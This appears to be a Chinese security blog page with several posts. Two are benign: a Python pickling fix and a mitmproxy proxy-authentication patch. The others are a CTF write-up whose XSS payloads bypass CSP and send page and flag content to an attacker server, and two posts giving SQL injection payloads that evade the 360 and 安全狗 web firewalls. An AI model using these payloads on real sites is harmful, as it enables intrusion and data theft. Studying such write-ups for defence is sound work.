Mosuan 发布的文章

Python multiprocessing库 报错Can't pickle <type 'instancemethod'>


报错内容:Can't pickle <type 'instancemethod'>: attribute lookup builtin.instancemethod failed

111111.jpg

如果用普通函数没有问题,用到类就报错。

import copy_reg
import types

def _pickle_method(m):
    if m.im_self is None:
        return getattr, (m.im_class, m.im_func.func_name)
    else:
        return getattr, (m.im_self, m.im_func.func_name)

copy_reg.pickle(types.MethodType, _pickle_method)

参考:https://stackoverflow.com/questions/1816958/cant-pickle-type-instancemethod-when-using-pythons-multiprocessing-pool-ma


修改 mitmproxy 1.8.X 代理认证方式


原因:mitmproxy 1.8.x 不支持https代理认证,他在mitmproxy 2.0.x的时候据说修复了,但是需要 python 3.0的环境,我也没测试,项目也不能升级python版本,所以修改了下认证模块。

先感谢下猪猪侠,做了一个项目用到了猪猪侠的wyproxy,wyproxy采用了mitmproxy 1.8.x版本。有需求做代理认证的时候发现他对https的根本不支持,所以改了下认证方式。

wyproxy地址https://github.com/ring04h/wyproxy 再次感谢猪猪侠,有这个省事了很多。

mitmproxy在github上的issuehttps://github.com/mitmproxy/mitmproxy/issues/1722

如使用1.8.X版本的时候去请求https站点会返回:状态码为401,内容为:Authentication Required。

看了下mitmproxy 代理认证那块的代码。

http协议采用状态码为407.
https协议采用状态码为401.

知道这些东西后就好改代码了。

wyproxy.py文件添加几个函数:


def auth(f,check):
    """
    f.response.status_code = 401
    WWW-Authenticate    401
    Proxy-Authenticate  407
    f.response.headers['WWW-Authenticate'] = 'Basic realm="mitmproxy"'
    添加基础认证
    """
    if check:
        f.response.status_code = 401
        f.response.headers["WWW-Authenticate"] = "Basic realm=\"mitmproxy\""
    else:
        f.response.status_code = 407
        f.response.headers["Proxy-Authenticate"] = "Basic realm=\"mitmproxy\""
    return f

def authcheck(username='', password=''):
    """
    验证代理账号密码是否正确
    """
    from passlib.apache import HtpasswdFile
    ht = HtpasswdFile("./.htpasswd")
    status = ht.check_password(username, password)
    return status

def response_auth(f):
    """
    Authorization       401
    Proxy-Authorization 407
    用f.server_conn.ssl_established 来判断是http还是https
    判断是http 还是https
    验证代理账号密码是否正确
    """
    auth_user = ''
    auth_password = ''
    #判断header头部是那种认证方式
    if f.server_conn.ssl_established:
        auth_type = 'Authorization'
    else:
        auth_type = 'Proxy-Authorization'

    if f.request.headers.get(auth_type):
        try:
            auth_base64 = f.request.headers.get(auth_type).split(' ')
            auth_user = base64.b64decode(auth_base64[1]).split(':')[0]
            auth_password = base64.b64decode(auth_base64[1]).split(':')[1]
        except Exception,e:
            print(e)

    if not authcheck(auth_user, auth_password):
        f = auth(f, f.server_conn.ssl_established)
    return f

44444.jpg

搜索代码"def response(self, f):" ,在后面添加代码:f = response_auth(f)

如下图

5555.jpg


pwnhub -- 绝对防御 writeup


周末做了一道对于我来说很蛋疼的题目...但是看了各位师傅的writeup就觉得自己的思路太窄了....

题目地址:https://pwnhub.cn/gamedetail?id=13

注册之后有个留言板,有CSP(不允许对外发送请求),经过测试只过滤一次某些单次,如:on,oonn就能过。

用表单来绕过csp返回页面到我的服务器上,看到提示

poc:

<imong src=x oonnerror="var htmlstr = document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub1'+ escape(htmlstr)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')">

转码后发现提示( http://zone.secevery.com/code/index.html 在线编码转码...之前写的辣鸡程序...):

1111111.jpg

访问http://52.80.63.91/adminshigesha233e3333/ 提示flag.php

2222222.jpg

访问flag.php 提示只有admin能看....

3333.jpg

尝试盲打admin返回flag.php的内容.
poc:

<imong src=x oonnerror="$.get('/adminshigesha233e3333/flag.php', functioonn(data){$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/'+ escape(data)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')})">

555555.jpg

提示:nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

http://52.80.63.91/adminshigesha233e3333/

PS:在这里卡了一天多,在各种尝试加header访问,get访问,post访问,各种蛋疼,测到半夜的时候题目后端挂了...
继续回到我们开始拿到的提示url:http://52.80.63.91/adminshigesha233e3333/#admin

查看源码:

6666.jpg

发现可以xss,并且页面有设置csp规则:Content-Security-Policy:default-src 'self'; script-src 'nonce-9VyGxnyKcfU4';
再看看提示说在"adminshigesha233e3333" 才可以读取到内容,我又在这里卡了很久,我以为这里是个文件读取漏洞...后来忽然想起这里有个反射xss,又有csp。于是把思路放到用xss来读取flag.php上。

poc:

<iframe name=aa src="./adminshigesha233e3333/#admin%3Ciframe id=hh%20src%3D./flag.php name=bb></iframe>" oonnload="var str = window.frames.aa.frameElement.coonntentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML;$('body').append('<form actioonn=http://xxx.xxx.xxx.xxx/hub'+ escape(str)+' method=GET id=show></form><scronipt>document.getElementById(\\'show\\').submit()</scronipt>')"></iframe>

777.jpg

成功拿到flag...感谢佳佳前端大佬的帮助...卡在两层iframe好久...后来去问了下前端大佬,她说可以在父iframe读取子iframe的内容。

888.jpg

//firefox 下获取iframe内容
document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;

//firefox 下等待页面加载完毕再获取iframe里面的内容
window.onload=function(){var str = document.getElementById('flag').contentWindow.document.getElementsByTagName('html')[0].innerHTML;}

//获取iframe 二层内容
window.frames.aa.frameElement.contentDocument.defaultView.bb.document.getElementsByTagName('html')[0].innerHTML

最后的最后再次感谢下佳佳前端大佬还有出题的师傅,真的被虐哭了。


利用IIS特性简单 Bypass 360主机卫士SQL注入拦截


环境:asp+access+iis
周末有个不知名的小伙伴叫我帮忙绕下waf,看了下有点意思。

先简单看看拦截什么
union select 1,2 拦截
union%0aselect 1,2 拦截
union%0as%u0065lect 1,2 拦截
参数污染 id=86 union&id=s%u0065lect 1,2 也拦截

2222.jpg

iis一个特性碰到单一的百分号(%)会忽略掉。
也就是说s%elect == select
但是经过fuzz如下:
union s%elect 1,2 还是拦截

333.jpg

union 1,2 不拦截

444.jpg

也就是说我们需要绕过select
尝试每个字母后面加上百分号

union s%e%l%e%c%t 1,2 拦截

我扶了扶我不存在的眼镜框,然后继续fuzz。
编故事编的我自己都有点累的,经过反复fuzz,发现在中间打断即可。
union sel%ect 1,2 不拦截,想知道为什么吗?我特么知道我就不用在fuzz了。

555555.jpg

代码层有个很变态的过滤,过滤了很多东西,这个站并不是我的目标,我的目标就bypass waf,因为种种原因就不射出管理员密码了。

66666.jpg

注:这文章写了好久了,不知道是否还能bypass,废话很多,也感谢你们看到这里,主要说个过程。


Mysql下Union注入Bypass安全狗过程


一次众测发现个注入,然后有安全狗就顺带看了下安全狗。

111.jpg

先fuzz看看安全狗拦截什么关键词
union select x,x 拦截

222.jpg

尝试用union函数 union(select 1,2,3) 拦截
union(%20select 1,2,3,4) 不拦截,注意select前面有个空格
之前出题的代码...懒得改了…中二。

333.jpg

union(%20select%201,(select%20user%20from%20mysql.user),3,4) p神说没有from就不算绕过,尝试用from注入被拦截。

444.jpg

union(%20select%201,(select%20user%20from(mysql.user)),3,4) 尝试把from换成函数,被拦截了。
想起来之前绕union函数前面带的空格,这里也尝试了下
union(%20select%201,(select%20user%20from(%20mysql.user)%20limit%202,1),3,4) 注意from函数里面第一位就是空格

555.jpg

实际上还有很多过狗的方法,我第一次跟P神交流的时候不是这个payload,那个payload还要长很多,但是P神说了重要的是过程,我再研究了下,发现这个payload比较短点,最后希望跟各位大师傅一起学习,最后的最后感谢下phithon师傅